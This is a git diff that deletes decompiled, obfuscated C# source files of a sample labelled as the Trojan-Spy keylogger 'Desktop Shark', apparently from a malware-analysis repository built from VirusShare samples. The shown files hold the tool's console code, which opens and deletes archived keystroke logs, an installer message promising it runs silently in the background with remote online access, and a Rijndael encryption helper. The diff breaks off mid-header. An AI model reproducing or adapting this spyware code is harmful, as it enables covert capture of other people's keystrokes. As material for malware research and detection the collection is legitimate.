ᙂ, EventArgs ᙄ) - { - try - { - foreach (string file in Directory.GetFiles(Settings.Default.ArchivingKeyloggerLocation, "*")) - { - if (File.GetCreationTime(file).ToString().Equals(this.ᡮᙃ.SelectedItem.ToString())) - { - bool flag = false; - string str = file; - string path = file.Replace(ᙵ.ឪᙃ, ""); - if (str.EndsWith(ᙵ.ឬᙃ)) - { - ᡔ.ᡚ(file, Settings.Default.ArchivingKeyloggerLocation, "", false); - flag = true; - } - string rtf = File.ReadAllText(path); - ឞ ឞ = new ឞ(); - ឞ.ហ(rtf); - ឞ.Show(); - if (flag) - File.Delete(path); - } - } - } - catch (Exception ex) - { - this.ᡟᙃ.ឨ(ex); - } - } - - private void ᡓᙃ() - { - foreach (string file in Directory.GetFiles(Settings.Default.ArchivingKeyloggerLocation)) - { - try - { - File.Delete(file); - } - catch - { - } - } - } - - private void ᡔᙃ(object ᙂ, EventArgs ᙄ) - { - ᝰ ᝰ = new ᝰ(ᝰ.\u1772, ᙵ.ឮᙃ); - ᝰ.Show(); - ᝰ.Activate(); - } - - protected override void Dispose(bool disposing) - { - if (disposing) - this.DestroyLoggerPanel(); - if (disposing && this.ᡧᙃ != null) - this.ᡧᙃ.Dispose(); - base.Dispose(disposing); - } - - private void ᡕᙃ() - { - this.ᡨᙃ = new Button(); - this.ᡩᙃ = new Button(); - this.ᡪᙃ = new RichTextBox(); - this.ᡫᙃ = new Button(); - this.ᡬᙃ = new Button(); - this.ᡭᙃ = new Button(); - this.ᡮᙃ = new ComboBox(); - this.ᡯᙃ = new PictureBox(); - ((ISupportInitialize) this.ᡯᙃ).BeginInit(); - this.SuspendLayout(); - this.ᡨᙃ.Enabled = false; - this.ᡨᙃ.Image = (Image) Resources.stop; - this.ᡨᙃ.ImageAlign = ContentAlignment.MiddleLeft; - this.ᡨᙃ.Location = new Point(84, 4); - this.ᡨᙃ.Name = ᙵ.ឰᙃ; - this.ᡨᙃ.Size = new Size(75, 28); - this.ᡨᙃ.TabIndex = 3; - this.ᡨᙃ.Text = ᙵ.ឲᙃ; - this.ᡨᙃ.TextImageRelation = TextImageRelation.ImageBeforeText; - this.ᡨᙃ.UseVisualStyleBackColor = true; - this.ᡨᙃ.Click += new EventHandler(this.ᡋᙃ); - this.ᡩᙃ.Image = (Image) Resources.accept; - this.ᡩᙃ.ImageAlign = ContentAlignment.MiddleLeft; - this.ᡩᙃ.Location = new Point(3, 4); - this.ᡩᙃ.Name = ᙵ.\u17C2ᙃ; - this.ᡩᙃ.Size = new Size(75, 28); - this.ᡩᙃ.TabIndex = 2; - this.ᡩᙃ.Text = ᙵ.\u17C4ᙃ; - this.ᡩᙃ.TextImageRelation = TextImageRelation.ImageBeforeText; - this.ᡩᙃ.UseVisualStyleBackColor = true; - this.ᡩᙃ.Click += new EventHandler(this.ᡊᙃ); - this.ᡪᙃ.Dock = DockStyle.Bottom; - this.ᡪᙃ.Location = new Point(0, 33); - this.ᡪᙃ.Name = ᙵ.\u17C6ᙃ; - this.ᡪᙃ.ReadOnly = true; - this.ᡪᙃ.ScrollBars = RichTextBoxScrollBars.ForcedVertical; - this.ᡪᙃ.Size = new Size(756, 252); - this.ᡪᙃ.TabIndex = 4; - this.ᡪᙃ.Text = ""; - this.ᡫᙃ.Image = (Image) Resources.arrow_refresh; - this.ᡫᙃ.ImageAlign = ContentAlignment.MiddleLeft; - this.ᡫᙃ.Location = new Point(165, 4); - this.ᡫᙃ.Name = ᙵ.\u17C8ᙃ; - this.ᡫᙃ.Size = new Size(75, 28); - this.ᡫᙃ.TabIndex = 5; - this.ᡫᙃ.Text = ᙵ.\u17CAᙃ; - this.ᡫᙃ.TextImageRelation = TextImageRelation.ImageBeforeText; - this.ᡫᙃ.UseVisualStyleBackColor = true; - this.ᡫᙃ.PreviewKeyDown += new PreviewKeyDownEventHandler(this.ᡑᙃ); - this.ᡫᙃ.Click += new EventHandler(this.ᡉᙃ); - this.ᡬᙃ.Image = (Image) Resources.page_copy; - this.ᡬᙃ.ImageAlign = ContentAlignment.MiddleLeft; - this.ᡬᙃ.Location = new Point(246, 4); - this.ᡬᙃ.Name = ᙵ.\u17D8ᙃ; - this.ᡬᙃ.Size = new Size(75, 28); - this.ᡬᙃ.TabIndex = 6; - this.ᡬᙃ.Text = ᙵ.\u17CEᙃ; - this.ᡬᙃ.TextImageRelation = TextImageRelation.ImageBeforeText; - this.ᡬᙃ.UseVisualStyleBackColor = true; - this.ᡬᙃ.Click += new EventHandler(this.ᡘᙃ); - this.ᡭᙃ.Image = (Image) Resources.find; - this.ᡭᙃ.ImageAlign = ContentAlignment.MiddleLeft; - this.ᡭᙃ.Location = new Point(327, 4); - this.ᡭᙃ.Name = ᙵ.\u17FEᙃ; - this.ᡭᙃ.Size = new Size(75, 28); - this.ᡭᙃ.TabIndex = 8; - this.ᡭᙃ.Text = ᙵ.\u17D2ᙃ; - this.ᡭᙃ.TextImageRelation = TextImageRelation.ImageBeforeText; - this.ᡭᙃ.UseVisualStyleBackColor = true; - this.ᡭᙃ.Click += new EventHandler(this.ᡎᙃ); - this.ᡮᙃ.DropDownStyle = ComboBoxStyle.DropDownList; - this.ᡮᙃ.FormattingEnabled = true; - this.ᡮᙃ.Location = new Point(408, 6); - this.ᡮᙃ.Name = ᙵ.\u17D4ᙃ; - this.ᡮᙃ.Size = new Size(201, 21); - this.ᡮᙃ.TabIndex = 9; - this.ᡮᙃ.SelectedIndexChanged += new EventHandler(this.ᡒᙃ); - this.ᡯᙃ.Image = (Image) Resources.help; - this.ᡯᙃ.Location = new Point(615, 9); - this.ᡯᙃ.Name = ᙵ.\u17D6ᙃ; - this.ᡯᙃ.Size = new Size(16, 16); - this.ᡯᙃ.TabIndex = 23; - this.ᡯᙃ.TabStop = false; - this.ᡯᙃ.Click += new EventHandler(this.ᡔᙃ); - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.AutoSize = true; - this.Controls.Add((Control) this.ᡯᙃ); - this.Controls.Add((Control) this.ᡮᙃ); - this.Controls.Add((Control) this.ᡭᙃ); - this.Controls.Add((Control) this.ᡬᙃ); - this.Controls.Add((Control) this.ᡫᙃ); - this.Controls.Add((Control) this.ᡪᙃ); - this.Controls.Add((Control) this.ᡨᙃ); - this.Controls.Add((Control) this.ᡩᙃ); - this.Name = ᙵ.\u17C0ᙃ; - this.Size = new Size(756, 285); - ((ISupportInitialize) this.ᡯᙃ).EndInit(); - this.ResumeLayout(false); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ំ.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ំ.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ំ.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ៈ.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ៈ.cs deleted file mode 100644 index b9ff1f62..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ៈ.cs +++ /dev/null @@ -1,65 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ៈ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -using KeyLogger.Properties; -using System.ComponentModel; -using System.Drawing; -using System.Windows.Forms; - -public class \u17C8 : UserControl -{ - private IContainer ᡇᙃ; - private Panel ᡈᙃ; - private RichTextBox ᡉᙃ; - private PictureBox ᡊᙃ; - - public \u17C8() => this.ᡆᙃ(); - - protected override void Dispose(bool disposing) - { - if (disposing && this.ᡇᙃ != null) - this.ᡇᙃ.Dispose(); - base.Dispose(disposing); - } - - private void ᡆᙃ() - { - ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (\u17C8)); - this.ᡈᙃ = new Panel(); - this.ᡊᙃ = new PictureBox(); - this.ᡉᙃ = new RichTextBox(); - this.ᡈᙃ.SuspendLayout(); - ((ISupportInitialize) this.ᡊᙃ).BeginInit(); - this.SuspendLayout(); - this.ᡈᙃ.BackColor = Color.FromArgb(64, 64, 64); - this.ᡈᙃ.Controls.Add((Control) this.ᡊᙃ); - this.ᡈᙃ.Location = new Point(0, 0); - this.ᡈᙃ.Name = ᙵ.\u17D9ᙃ; - this.ᡈᙃ.Size = new Size(650, 81); - this.ᡈᙃ.TabIndex = 1; - this.ᡊᙃ.Image = (Image) Resources.Logo; - this.ᡊᙃ.Location = new Point(3, 0); - this.ᡊᙃ.Name = ᙵ.\u17DEᙃ; - this.ᡊᙃ.Size = new Size(338, 78); - this.ᡊᙃ.TabIndex = 0; - this.ᡊᙃ.TabStop = false; - this.ᡉᙃ.Font = new Font(ᙵ.\u17E0ᙃ, 14f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); - this.ᡉᙃ.Location = new Point(3, 87); - this.ᡉᙃ.Name = ᙵ.\u17E2ᙃ; - this.ᡉᙃ.Size = new Size(644, 210); - this.ᡉᙃ.TabIndex = 2; - this.ᡉᙃ.Text = componentResourceManager.GetString(ᙵ.\u17E4ᙃ); - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.Controls.Add((Control) this.ᡉᙃ); - this.Controls.Add((Control) this.ᡈᙃ); - this.Name = ᙵ.\u17E6ᙃ; - this.Size = new Size(650, 300); - this.ᡈᙃ.ResumeLayout(false); - ((ISupportInitialize) this.ᡊᙃ).EndInit(); - this.ResumeLayout(false); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ៈ.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ៈ.resx deleted file mode 100644 index 26b9dbe4..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ៈ.resx +++ /dev/null @@ -1,123 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - Congratulations!!! You have finished installing Desktop Shark. This is the only time this wizard will appear... If you are using the free version you will only have access to the keylogger on this console. However, if you purchased a license, you can access this console remotely online by visiting www.DesktopShark.com. To customize the "key combination" or "passphrase" that opens this window, go to "Application Settings" once this tutorial is over. You can close this console at any time and it will continue to run silently in the background. - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/៊.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/៊.cs deleted file mode 100644 index ccf239c1..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/៊.cs +++ /dev/null @@ -1,106 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ៊ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -using KeyLogger.Properties; -using System.ComponentModel; -using System.Drawing; -using System.Windows.Forms; - -public class \u17CA : UserControl -{ - private IContainer ᡇᙃ; - private PictureBox ᡈᙃ; - private Panel ᡉᙃ; - private PictureBox ᡊᙃ; - private Label ᡋᙃ; - private Label ᡘᙃ; - private Label ᡍᙃ; - private Label ᡎᙃ; - - protected override void Dispose(bool disposing) - { - if (disposing && this.ᡇᙃ != null) - this.ᡇᙃ.Dispose(); - base.Dispose(disposing); - } - - private void ᡆᙃ() - { - this.ᡈᙃ = new PictureBox(); - this.ᡉᙃ = new Panel(); - this.ᡊᙃ = new PictureBox(); - this.ᡋᙃ = new Label(); - this.ᡘᙃ = new Label(); - this.ᡍᙃ = new Label(); - this.ᡎᙃ = new Label(); - ((ISupportInitialize) this.ᡈᙃ).BeginInit(); - this.ᡉᙃ.SuspendLayout(); - ((ISupportInitialize) this.ᡊᙃ).BeginInit(); - this.SuspendLayout(); - this.ᡈᙃ.Image = (Image) Resources.ScreenShot; - this.ᡈᙃ.Location = new Point(246, 90); - this.ᡈᙃ.Name = ᙵ.ᙙ; - this.ᡈᙃ.Size = new Size(401, 210); - this.ᡈᙃ.TabIndex = 4; - this.ᡈᙃ.TabStop = false; - this.ᡉᙃ.BackColor = Color.FromArgb(64, 64, 64); - this.ᡉᙃ.Controls.Add((Control) this.ᡊᙃ); - this.ᡉᙃ.Location = new Point(0, 0); - this.ᡉᙃ.Name = ᙵ.ᙞ; - this.ᡉᙃ.Size = new Size(650, 81); - this.ᡉᙃ.TabIndex = 5; - this.ᡊᙃ.Image = (Image) Resources.Logo; - this.ᡊᙃ.Location = new Point(3, 0); - this.ᡊᙃ.Name = ᙵ.ᙠ; - this.ᡊᙃ.Size = new Size(338, 78); - this.ᡊᙃ.TabIndex = 0; - this.ᡊᙃ.TabStop = false; - this.ᡋᙃ.AutoSize = true; - this.ᡋᙃ.Font = new Font(ᙵ.ᙢ, 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); - this.ᡋᙃ.Location = new Point(3, 122); - this.ᡋᙃ.Name = ᙵ.ᙤ; - this.ᡋᙃ.Size = new Size(224, 15); - this.ᡋᙃ.TabIndex = 6; - this.ᡋᙃ.Text = ᙵ.ᙦ; - this.ᡘᙃ.AutoSize = true; - this.ᡘᙃ.Font = new Font(ᙵ.ᙨ, 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); - this.ᡘᙃ.Location = new Point(3, 160); - this.ᡘᙃ.Name = ᙵ.ᙪ; - this.ᡘᙃ.Size = new Size(178, 15); - this.ᡘᙃ.TabIndex = 7; - this.ᡘᙃ.Text = ᙵ.ᙬ; - this.ᡍᙃ.AutoSize = true; - this.ᡍᙃ.Font = new Font(ᙵ.\u166E, 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); - this.ᡍᙃ.Location = new Point(3, 205); - this.ᡍᙃ.Name = ᙵ.ᙰ; - this.ᡍᙃ.Size = new Size(147, 15); - this.ᡍᙃ.TabIndex = 8; - this.ᡍᙃ.Text = ᙵ.ᙲ; - this.ᡎᙃ.AutoSize = true; - this.ᡎᙃ.Location = new Point(63, 186); - this.ᡎᙃ.Name = ᙵ.ᝂ; - this.ᡎᙃ.Size = new Size(29, 13); - this.ᡎᙃ.TabIndex = 10; - this.ᡎᙃ.Text = ᙵ.ᝄ; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.Controls.Add((Control) this.ᡎᙃ); - this.Controls.Add((Control) this.ᡍᙃ); - this.Controls.Add((Control) this.ᡘᙃ); - this.Controls.Add((Control) this.ᡋᙃ); - this.Controls.Add((Control) this.ᡉᙃ); - this.Controls.Add((Control) this.ᡈᙃ); - this.Name = ᙵ.ᝆ; - this.Size = new Size(650, 300); - ((ISupportInitialize) this.ᡈᙃ).EndInit(); - this.ᡉᙃ.ResumeLayout(false); - ((ISupportInitialize) this.ᡊᙃ).EndInit(); - this.ResumeLayout(false); - this.PerformLayout(); - } - - public \u17CA() => this.ᡆᙃ(); -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/៊.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/៊.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/៊.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/៎.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/៎.cs deleted file mode 100644 index 273046b7..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/៎.cs +++ /dev/null @@ -1,32 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ៎ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -internal static class \u17CE -{ - public static string \u17C0; - public static string \u17DE; - public static string \u17D6; - public static string \u17DA; - public static string \u17D9; - public static string \u17D4; - public static string \u17FE; - public static string \u17D2; - - static \u17CE() - { - do - ; - while (false); - \u17CE.\u17C0 = ᙵ.\u1806ᙃ; - \u17CE.\u17DE = ᙵ.\u1808ᙃ; - \u17CE.\u17D6 = ᙵ.\u180Aᙃ; - \u17CE.\u17DA = ᙵ.\u1818ᙃ; - \u17CE.\u17D9 = ᙵ.\u180Eᙃ; - \u17CE.\u17D4 = ᙵ.ᠾᙃ; - \u17CE.\u17FE = ᙵ.\u1812ᙃ; - \u17CE.\u17D2 = ᙵ.\u1814ᙃ; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/៘.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/៘.cs deleted file mode 100644 index 6273fea7..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/៘.cs +++ /dev/null @@ -1,82 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ៘ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -using KeyLogger.Properties; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.Windows.Forms; - -public class \u17D8 : UserControl -{ - private IContainer ᡈᙃ; - private Panel ᡉᙃ; - private PictureBox ᡊᙃ; - private Label ᡋᙃ; - private LinkLabel ᡘᙃ; - - protected override void Dispose(bool disposing) - { - if (disposing && this.ᡈᙃ != null) - this.ᡈᙃ.Dispose(); - base.Dispose(disposing); - } - - private void ᡆᙃ() - { - this.ᡉᙃ = new Panel(); - this.ᡊᙃ = new PictureBox(); - this.ᡋᙃ = new Label(); - this.ᡘᙃ = new LinkLabel(); - this.ᡉᙃ.SuspendLayout(); - ((ISupportInitialize) this.ᡊᙃ).BeginInit(); - this.SuspendLayout(); - this.ᡉᙃ.BackColor = Color.FromArgb(64, 64, 64); - this.ᡉᙃ.Controls.Add((Control) this.ᡊᙃ); - this.ᡉᙃ.Location = new Point(0, 0); - this.ᡉᙃ.Name = ᙵ.ᙬᙃ; - this.ᡉᙃ.Size = new Size(650, 81); - this.ᡉᙃ.TabIndex = 6; - this.ᡊᙃ.Image = (Image) Resources.Logo; - this.ᡊᙃ.Location = new Point(3, 0); - this.ᡊᙃ.Name = ᙵ.\u166Eᙃ; - this.ᡊᙃ.Size = new Size(338, 78); - this.ᡊᙃ.TabIndex = 0; - this.ᡊᙃ.TabStop = false; - this.ᡋᙃ.AutoSize = true; - this.ᡋᙃ.Font = new Font(ᙵ.ᙰᙃ, 16f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.ᡋᙃ.ForeColor = SystemColors.InfoText; - this.ᡋᙃ.Location = new Point(34, 126); - this.ᡋᙃ.Name = ᙵ.ᙲᙃ; - this.ᡋᙃ.Size = new Size(567, 26); - this.ᡋᙃ.TabIndex = 7; - this.ᡋᙃ.Text = ᙵ.ᝂᙃ; - this.ᡘᙃ.AutoSize = true; - this.ᡘᙃ.Font = new Font(ᙵ.ᝄᙃ, 18f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); - this.ᡘᙃ.Location = new Point(154, 176); - this.ᡘᙃ.Name = ᙵ.ᝆᙃ; - this.ᡘᙃ.Size = new Size(276, 29); - this.ᡘᙃ.TabIndex = 8; - ((Label) this.ᡘᙃ).TabStop = true; - this.ᡘᙃ.Text = ᙵ.ᝈᙃ; - this.ᡘᙃ.LinkClicked += new LinkLabelLinkClickedEventHandler(this.ᡇᙃ); - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.Controls.Add((Control) this.ᡘᙃ); - this.Controls.Add((Control) this.ᡋᙃ); - this.Controls.Add((Control) this.ᡉᙃ); - this.Name = ᙵ.ᝊᙃ; - this.Size = new Size(650, 300); - this.ᡉᙃ.ResumeLayout(false); - ((ISupportInitialize) this.ᡊᙃ).EndInit(); - this.ResumeLayout(false); - this.PerformLayout(); - } - - public \u17D8() => this.ᡆᙃ(); - - private void ᡇᙃ(object ᙂ, LinkLabelLinkClickedEventArgs ᙄ) => Process.Start(ᙵ.\u1758ᙃ); -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/៘.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/៘.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/៘.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/០.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/០.cs deleted file mode 100644 index 2a1581c7..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/០.cs +++ /dev/null @@ -1,106 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ០ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -using System; -using System.IO; -using System.Security.Cryptography; -using System.Text; - -internal static class \u17E0 -{ - private static string ᡆᙃ; - private static string ᡇᙃ; - private static string ᡈᙃ; - private static int ᡉᙃ; - private static string ᡊᙃ; - private static int ᡋᙃ; - - public static string \u17E6(string plainText) - { - do - ; - while (false); - return \u17E0.\u17E6(plainText, \u17E0.ᡆᙃ, \u17E0.ᡇᙃ, \u17E0.ᡈᙃ, \u17E0.ᡉᙃ, \u17E0.ᡊᙃ, \u17E0.ᡋᙃ); - } - - public static string \u17E2(string plainText) - { - do - ; - while (false); - return \u17E0.\u17E2(plainText, \u17E0.ᡆᙃ, \u17E0.ᡇᙃ, \u17E0.ᡈᙃ, \u17E0.ᡉᙃ, \u17E0.ᡊᙃ, \u17E0.ᡋᙃ); - } - - public static string \u17E6( - string plainText, - string passPhrase, - string saltValue, - string hashAlgorithm, - int passwordIterations, - string initVector, - int keySize) - { - do - ; - while (false); - byte[] bytes1 = Encoding.ASCII.GetBytes(initVector); - byte[] bytes2 = Encoding.ASCII.GetBytes(saltValue); - byte[] bytes3 = Encoding.UTF8.GetBytes(plainText); - byte[] bytes4 = new PasswordDeriveBytes(passPhrase, bytes2, hashAlgorithm, passwordIterations).GetBytes(keySize / 8); - RijndaelManaged rijndaelManaged = new RijndaelManaged(); - rijndaelManaged.Mode = CipherMode.CBC; - ICryptoTransform encryptor = rijndaelManaged.CreateEncryptor(bytes4, bytes1); - MemoryStream memoryStream = new MemoryStream(); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, encryptor, CryptoStreamMode.Write); - cryptoStream.Write(bytes3, 0, bytes3.Length); - cryptoStream.FlushFinalBlock(); - byte[] array = memoryStream.ToArray(); - memoryStream.Close(); - cryptoStream.Close(); - return Convert.ToBase64String(array); - } - - public static string \u17E2( - string cipherText, - string passPhrase, - string saltValue, - string hashAlgorithm, - int passwordIterations, - string initVector, - int keySize) - { - do - ; - while (false); - byte[] bytes1 = Encoding.ASCII.GetBytes(initVector); - byte[] bytes2 = Encoding.ASCII.GetBytes(saltValue); - byte[] buffer = Convert.FromBase64String(cipherText); - byte[] bytes3 = new PasswordDeriveBytes(passPhrase, bytes2, hashAlgorithm, passwordIterations).GetBytes(keySize / 8); - RijndaelManaged rijndaelManaged = new RijndaelManaged(); - rijndaelManaged.Mode = CipherMode.CBC; - ICryptoTransform decryptor = rijndaelManaged.CreateDecryptor(bytes3, bytes1); - MemoryStream memoryStream = new MemoryStream(buffer); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, decryptor, CryptoStreamMode.Read); - byte[] numArray = new byte[buffer.Length]; - int count = cryptoStream.Read(numArray, 0, numArray.Length); - memoryStream.Close(); - cryptoStream.Close(); - return Encoding.UTF8.GetString(numArray, 0, count); - } - - static \u17E0() - { - do - ; - while (false); - \u17E0.ᡆᙃ = ᙵ.ᙔ; - \u17E0.ᡇᙃ = ᙵ.ᙖ; - \u17E0.ᡈᙃ = ᙵ.ᙀ; - \u17E0.ᡉᙃ = 5; - \u17E0.ᡊᙃ = ᙵ.ᙚ; - \u17E0.ᡋᙃ = 192; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/៪.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/៪.cs deleted file mode 100644 index 